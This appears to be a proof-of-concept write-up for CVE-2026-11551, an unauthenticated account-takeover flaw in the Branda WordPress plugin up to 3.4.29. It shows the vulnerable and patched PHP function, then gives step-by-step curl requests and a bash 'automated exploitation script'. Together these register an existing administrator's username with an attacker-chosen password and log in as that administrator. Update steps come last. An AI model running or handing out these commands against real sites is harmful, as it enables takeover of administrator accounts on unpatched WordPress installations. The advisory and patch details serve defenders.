CVE-2026-11551: Branda Plugin - Unauthenticated Privilege Escalation via Account Takeover

Overview

CVE ID: CVE-2026-11551
CVSS Score: 9.8 (Critical)
Affected: Branda – White Label & Branding <= 3.4.29
Patched: 3.4.31
Published: June 19, 2026

Vulnerability Description

The Branda plugin for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 3.4.29. This is due to the plugin not properly validating a user's identity prior to updating their password. This makes it possible for unauthenticated attackers to change arbitrary user's passwords, including administrators, and leverage that to gain access to their account.

Technical Analysis

Vulnerable Code Location

/inc/modules/login-screen/signup-password.php

Root Cause

The pre_insert_user_data() function in the vulnerable version lacks proper validation:

// Vulnerable version (3.4.29)
public function pre_insert_user_data( $data, $update, $id ) {
    if ( is_multisite() ) {
        // Multisite code...
    }
    // Missing: if ($update) return $data; <-- VULNERABILITY
    
    if ( empty( $data['user_pass'] ) && empty( $_POST['password_1'] ) ) {
        $data['user_pass'] = wp_hash_password( wp_generate_password( 20, false ) );
    } elseif ( ! empty( $_POST['password_1'] ) ) {
        // Set the password from POST data
        $data['user_pass'] = wp_hash_password( $_POST['password_1'] );
    }

    return $data;
}

Patched Code (3.4.31)

public function pre_insert_user_data( $data, $update, $id ) {
    if ( is_multisite() ) {
        // Multisite code with proper checks...
    }

    // FIX: Added check to prevent updating existing users
    if ( $update ) {
        return $data;
    }

    if ( empty( $data['user_pass'] ) && empty( $_POST['password_1'] ) ) {
        $data['user_pass'] = wp_hash_password( wp_generate_password( 20, false ) );
    } elseif ( ! empty( $_POST['password_1'] ) ) {
        $data['user_pass'] = wp_hash_password( $_POST['password_1'] );
    }

    return $data;
}

Attack Vectors

Vector 1: Multisite Registration (Primary)

Attacker accesses /wp-signup.php
Registers with existing admin username (e.g., "admin")
Sets custom password via password_1 parameter
Branda stores password in signup meta
When activated, password overwrites existing admin's password

Vector 2: Single Site Registration

Attacker accesses /wp-login.php?action=register
Branda adds password fields to form
Attacker submits registration with existing username
If activation completes, password is set

Proof of Concept (curl)

Step 1: Check if Registration is Enabled

curl -s -k "https://TARGET/wp-login.php?action=register" | grep -i "registration"

Step 2: Check WordPress Type (Multisite vs Single)

curl -s -k -I "https://TARGET/wp-signup.php" | grep "HTTP/"

Step 3: For Multisite - Register with Admin Username

curl -s -k -c cookies.txt -b cookies.txt \
  -X POST "https://TARGET/wp-signup.php" \
  -d "user_name=admin" \
  -d "[email protected]" \
  -d "password_1=NewP@ssw0rd!" \
  -d "password_2=NewP@ssw0rd!" \
  -d "signup_for=blog"

Step 4: For Single Site - Register

curl -s -k -c cookies.txt -b cookies.txt \
  -X POST "https://TARGET/wp-login.php?action=register" \
  -d "user_login=admin" \
  -d "[email protected]" \
  -d "password_1=NewP@ssw0rd!" \
  -d "password_2=NewP@ssw0rd!" \
  -d "wp-submit=Register"

Step 5: Activate (if email verification required)

# Extract activation key from email and visit:
curl -s -k -c cookies.txt -b cookies.txt \
  "https://TARGET/wp-activate.php?key=ACTIVATION_KEY"

curl -s -k -c cookies.txt -b cookies.txt \
  -X POST "https://TARGET/wp-login.php" \
  -d "log=admin" \
  -d "pwd=NewP@ssw0rd!" \
  -d "wp-submit=Log In" \
  -L | grep -i "dashboard\|wp-admin\|error"

Automated Exploitation Script

#!/bin/bash
TARGET="https://TARGET"
USERNAME="admin"
NEW_PASSWORD="Pwned$(date +%s)!"

echo "[*] Registering $USERNAME with password $NEW_PASSWORD..."

# Multisite attack
curl -s -k -c /tmp/cookies.txt \
  -X POST "$TARGET/wp-signup.php" \
  -d "user_name=$USERNAME" \
  -d "[email protected]" \
  -d "password_1=$NEW_PASSWORD" \
  -d "password_2=$NEW_PASSWORD"

echo "[*] Check email for activation link"
echo "[*] After activation, try: curl -X POST $TARGET/wp-login.php -d 'log=$USERNAME' -d 'pwd=$NEW_PASSWORD'"

Requirements for Exploitation

WordPress with Branda Plugin <= 3.4.29 installed and activated
User registration must be enabled (check Settings > General > Membership: Anyone can register)
For successful account takeover: Target username must exist
For Multisite: Access to activation email (or activation bypass)

Remediation

Update Branda plugin to version 3.4.31 or later:

# Via WordPress Admin
Dashboard > Plugins > Branda > Update

# Via WP-CLI
wp plugin update branda-white-labeling

# Via SSH
wp plugin update branda-white-labeling --version=3.4.31

Impact

Confidentiality: High - Attacker gains access to any user account
Integrity: High - Attacker can modify content
Availability: High - Attacker can lock out legitimate users

By-Poloss..-..CVE-2026-11551-PoC

Most Popular